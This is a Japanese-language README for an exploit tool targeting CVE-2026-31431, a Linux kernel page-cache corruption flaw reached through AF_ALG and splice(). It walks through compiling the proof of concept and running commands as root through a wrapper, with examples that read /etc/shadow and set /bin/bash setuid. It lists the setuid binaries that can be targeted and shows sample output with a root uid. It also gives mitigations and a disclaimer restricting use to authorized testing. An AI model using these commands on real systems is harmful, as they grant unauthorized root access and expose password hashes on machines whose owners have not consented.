
CVE-2026-31431 のエクスプロイト。Linux カーネルのページキャッシュ破損の脆弱性であり、AF_ALG と splice() チェーンを介して対話型ルートシェルと非対話型コマンド実行を提供します。
Linux カーネルの page cache 汚染脆弱性を利用したツールで、非対話型コマンド実行をサポートします。
CVE-2026-31431 は、Linux カーネルの authencesn AEAD アルゴリズム実装に存在する論理的欠陥です。AF_ALG と splice() システムコールチェーンを介して、攻撃者は任意の読み取り可能ファイルの page cache に 4 バイトのデータを書き込むことができます。
影響範囲:
脆弱性の特徴:
.
├── copyfail_universal.c # メインPOCソースコード(静的コンパイル、libc依存なし)
├── copyfail_universal # コンパイル済みバイナリ
├── run_cmd.sh # 非対話型実行ラッパースクリプト
├── Makefile # コンパイルスクリプト
└── README.md # 本ドキュメント
# 方法1: gcc と ld を使用
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal
# 方法2: Makefile を使用
make
./copyfail_universal
# 方法1: ラッパースクリプトを使用(推奨)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"
# 方法2: パイプ経由
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal
# 方法3: 環境変数を使用
CMD='whoami' ./copyfail_universal
# デフォルトのターゲットは /usr/bin/su
# ソースコード内の path 変数を変更することで他のターゲットを指定可能
# 一般的に利用可能なターゲット:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec
この脆弱性は page cache のみを変更し、ディスク上のファイルは変更しません。以下のコマンドで復旧できます:
sync; echo 3 > /proc/sys/vm/drop_caches
run_cmd.sh スクリプトには自動復旧機能が組み込まれています。
$ ./run_cmd.sh "id"
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...
uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)
システム上のすべての setuid プログラムを検索:
find / -perm -4000 -user root -type f 2>/dev/null
カーネルの更新 - パッチ a664bf3d603d を含むカーネルバージョンにアップグレード
一時的な緩和策 - algif_aead モジュールを無効化:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
コンテナ環境 - seccomp を使用して AF_ALG socket の作成をブロック
authencesn がターゲットバッファを一時ストレージとして使用し、境界外に 4 バイト書き込むsplice() を介して page cache ページを crypto サブシステムに渡す本ツールはセキュリティ研究および認可されたテスト専用です。認可されていないシステムへの攻撃に本ツールを使用することは違法行為です。利用者はすべての法的責任を負うものとします。
| プログラム | パス | 可用性 |
|---|
| su | /usr/bin/su | ✅ デフォルト |
| passwd | /usr/bin/passwd | ✅ |
| chsh | /usr/bin/chsh | ✅ |
| chfn | /usr/bin/chfn | ✅ |
| gpasswd | /usr/bin/gpasswd | ✅ |
| pkexec | /usr/bin/pkexec | ✅ |
| mount | /bin/mount | ✅ |
| umount | /bin/umount | ✅ |